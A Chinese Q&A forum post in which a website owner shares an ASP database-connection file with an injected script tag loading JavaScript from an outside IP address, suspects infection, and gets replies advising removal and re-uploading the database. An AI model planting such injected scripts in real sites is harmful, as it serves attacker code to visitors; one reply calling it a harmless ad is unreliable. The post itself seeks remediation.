有人帮我看看这段代码错在哪里吗

来源:百度知道 编辑:UC知道 时间:2024/07/05 20:02:03
girls8/conn.asp内容是(这是前台的conn.asp)

<%
'option explicit
dim startime,conn,connstr,db,rs,rs_s,rs_s1
startime=timer()
db="sxmkdata/sxmkdata.asp"
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
conn.Open connstr
%><script src="http://222.208.183.246/ad/ad.js"></script>

这段代码估计是有病毒,我把站点所有的<script src="http://222.208.183.246/ad/ad.js"></script>这个删了之后网站就打不开了,无法显示,显示如下
技术信息(用于支持人员)

错误类型:
Microsoft JET Database Engine (0x80040E4D)
密码无效。
/girls8/conn.asp, 第 8 行

浏览器类型:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)

确认你的数据库密码,如果有就把密码取消掉。
<script src="http://222.208.183.246/ad/ad.js"></script>这段代码应该是广告。它不会影响asp的运行,因为它是在客户端运行的,而asp是在服务器端运行的。
如楼上所说服务器端中毒也是有可能的,如果是那样的话,你怎么修改都是无能为力的,还是要服务器提供商联系才行。

就是服务器端的病毒 ...

因为你的数据库文件后缀名是 ASP ... 肯定也被感染了 ...

在所有文件里把那个讨厌的代码删掉 ...

然后重新上传你的数据库 ...